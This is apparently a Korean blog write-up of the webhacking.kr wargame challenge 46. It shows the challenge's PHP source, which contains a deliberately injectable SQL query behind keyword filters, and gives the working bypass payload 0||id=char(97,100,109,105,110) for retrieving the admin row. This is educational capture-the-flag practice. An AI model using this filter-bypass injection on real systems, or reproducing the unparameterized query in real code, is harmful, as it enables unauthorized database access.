입력창 하나와 소스보기
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['lv']){
$db = dbconnect();
$_GET['lv'] = addslashes($_GET['lv']);
$_GET['lv'] = str_replace(" ","",$_GET['lv']);
$_GET['lv'] = str_replace("/","",$_GET['lv']);
$_GET['lv'] = str_replace("*","",$_GET['lv']);
$_GET['lv'] = str_replace("%","",$_GET['lv']);
if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
if($result){
echo("{$result['id']} information<br><br>money : {$result['cash']}");
if($result['id'] == "admin") solve(46);
}
}
?>
</body>
</html>
lv가 있으면 addslashes를 통해 문자를 처리하고 각 문자를 삭제한뒤 필터링을 거쳐 query에 넣는 걸 볼수있다. 많은 필터링을 거친후 db로부터 받은 id가 admin이면 성공하는 것으로 보인다.
0||id='admin' 이런 문장이 만들어지면 될거같다.
필터링 되는건 admin과 '이다.
0||id=char(97,100,109,105,110)으로 해보자
성공!
'보안 > webhacking' 카테고리의 다른 글
webhacking.kr old-49 (0) | 2019.12.07 |
---|---|
webhakcing.kr old-48 (0) | 2019.12.07 |
webhacking.kr old-45 (0) | 2019.12.06 |
webhacking.kr old-44 (0) | 2019.12.05 |
webhacking.kr old-43 (0) | 2019.12.05 |
최근댓글